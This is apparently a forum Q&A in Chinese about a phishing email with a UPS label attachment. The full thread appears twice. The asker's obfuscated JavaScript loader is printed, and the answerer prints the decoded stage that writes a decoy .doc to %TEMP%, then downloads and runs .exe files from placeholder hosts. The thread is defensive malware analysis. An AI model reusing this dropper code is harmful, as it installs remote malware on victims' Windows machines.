带有 UPS 标签脚本的电子邮件有什么作用?
Email with UPS Label script what does it do?
我今天收到电子邮件,有人给我发了一个 ups 标签,我没有打开它,因为我发现它很可疑,我想知道这段代码的作用,
谢谢
var sder = "P";
var g2 = "M"+"sxml2.XMLHT"+""+"T"+""+sder;
var m = "LZUaj4-qfCYW4M3kjDIgGL844Arvxk8a-hL2LmwUe1fG4_p62GL1yQkO5QZj62RgjWMzKm3mojn5OZRDSmV0C9O7RF_9Lw";
var x = new Array("site link", "site link", "site link", "site link", "site link");
var t4 = "ht"+"tp";
var mul = "qwadro";
var ter = "/";
for (var i=0; i<x.length; i++)
{
var vDJmB = function(){
return new ActiveXObject(g2);
}();
var e = vDJmB;
try
{
e.open("G"+"E"+"T", t4 + ":"+ter+ter+x[i]+"/c"+"o"+"unter/?"+m, false);
e.send();
var r = e.responseText;
if (r.length > 999+1 && r.indexOf(m) > -1)
{
eval(e.responseText.split(m).join(mul.substring(2,3)));
break;
};
}
catch(e)
{
};
};
我想知道这段代码的作用,有人试图从我这里获取信息吗?谢谢
它是专门针对 Microsoft Windows 的木马加载程序。它创建一个指向 Msxml2.XMLHTTP
activeX 对象 vDJmB
.
的指针 e
然后它使用密钥 m
对数组 x
中的站点进行排序,以获得多部分编码的纯文本有效负载组件 r
。该组件有效负载被解码为 JavaScript 字符串,然后对其进行评估。每个组成元素的长度在 5972 到 6266 个字符之间。在我的版本中有五个组件。
实际有效负载在解码和评估时会引用其他几个网站,创建多个对象,创建一个扩展名为 .doc 的随机字符文件,尝试 运行 然后将错误捕获到空处理程序中,然后下载一个 png,将其重命名为一个 exe,然后 运行 就可以了……我会说这是相当复杂的混淆。它最终抓住了什么?不能告诉你,因为我没有 Windows 系统。
第一个组件的作用如下(我的有五个这样的组件,站点名称不同):
var ld = 0;
var cs = String.fromCharCode(92);
var ll = [ "seperate_site2.com", "site_in_original4.com", "site_in_original4", "seperate_site2", "site_in_original1.com" ];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".doc")) {
var fp = fo.CreateTextFile(fn + ".doc", true);
for (var i = 0; i < 8339; i++) {
fp.Write(String.fromCharCode(Math.floor(Math.random() * 64 + 20)));
};
fp.Close();
try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
for (var n = 1; n <= 2; n++) {
for (var i = ld; i < ll.length; i++) {
var dn = 0;
try {
xo.open("GET", "http://" + ll[ i ] + "/counter/?" + n, false);
xo.send();
if (xo.status == 200) {
xa.open();
xa.type = 1;
xa.write(xo.responseBody);
if (xa.size > 10000) {
dn = 1;
xa.saveToFile(fn + n + ".exe", 2);
try {ws.Run(fn + n + ".exe", 1, 0);} catch (er) {};
};
xa.close();
};
if (dn == 1) {
ld = i;
break;
};
} catch (er) {};
};
};
} else {
try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
};
我在 Ubuntu 16.04 上使用 rhino-debugger 和 Eclipse 来评估这个加载器。
我今天收到电子邮件,有人给我发了一个 ups 标签,我没有打开它,因为我发现它很可疑,我想知道这段代码的作用,
谢谢
var sder = "P";
var g2 = "M"+"sxml2.XMLHT"+""+"T"+""+sder;
var m = "LZUaj4-qfCYW4M3kjDIgGL844Arvxk8a-hL2LmwUe1fG4_p62GL1yQkO5QZj62RgjWMzKm3mojn5OZRDSmV0C9O7RF_9Lw";
var x = new Array("site link", "site link", "site link", "site link", "site link");
var t4 = "ht"+"tp";
var mul = "qwadro";
var ter = "/";
for (var i=0; i<x.length; i++)
{
var vDJmB = function(){
return new ActiveXObject(g2);
}();
var e = vDJmB;
try
{
e.open("G"+"E"+"T", t4 + ":"+ter+ter+x[i]+"/c"+"o"+"unter/?"+m, false);
e.send();
var r = e.responseText;
if (r.length > 999+1 && r.indexOf(m) > -1)
{
eval(e.responseText.split(m).join(mul.substring(2,3)));
break;
};
}
catch(e)
{
};
};
我想知道这段代码的作用,有人试图从我这里获取信息吗?谢谢
它是专门针对 Microsoft Windows 的木马加载程序。它创建一个指向 Msxml2.XMLHTTP
activeX 对象 vDJmB
.
e
然后它使用密钥 m
对数组 x
中的站点进行排序,以获得多部分编码的纯文本有效负载组件 r
。该组件有效负载被解码为 JavaScript 字符串,然后对其进行评估。每个组成元素的长度在 5972 到 6266 个字符之间。在我的版本中有五个组件。
实际有效负载在解码和评估时会引用其他几个网站,创建多个对象,创建一个扩展名为 .doc 的随机字符文件,尝试 运行 然后将错误捕获到空处理程序中,然后下载一个 png,将其重命名为一个 exe,然后 运行 就可以了……我会说这是相当复杂的混淆。它最终抓住了什么?不能告诉你,因为我没有 Windows 系统。
第一个组件的作用如下(我的有五个这样的组件,站点名称不同):
var ld = 0;
var cs = String.fromCharCode(92);
var ll = [ "seperate_site2.com", "site_in_original4.com", "site_in_original4", "seperate_site2", "site_in_original1.com" ];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn + ".doc")) {
var fp = fo.CreateTextFile(fn + ".doc", true);
for (var i = 0; i < 8339; i++) {
fp.Write(String.fromCharCode(Math.floor(Math.random() * 64 + 20)));
};
fp.Close();
try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
for (var n = 1; n <= 2; n++) {
for (var i = ld; i < ll.length; i++) {
var dn = 0;
try {
xo.open("GET", "http://" + ll[ i ] + "/counter/?" + n, false);
xo.send();
if (xo.status == 200) {
xa.open();
xa.type = 1;
xa.write(xo.responseBody);
if (xa.size > 10000) {
dn = 1;
xa.saveToFile(fn + n + ".exe", 2);
try {ws.Run(fn + n + ".exe", 1, 0);} catch (er) {};
};
xa.close();
};
if (dn == 1) {
ld = i;
break;
};
} catch (er) {};
};
};
} else {
try {ws.Run(fn + ".doc", 1, 0);} catch (er) {};
};
我在 Ubuntu 16.04 上使用 rhino-debugger 和 Eclipse 来评估这个加载器。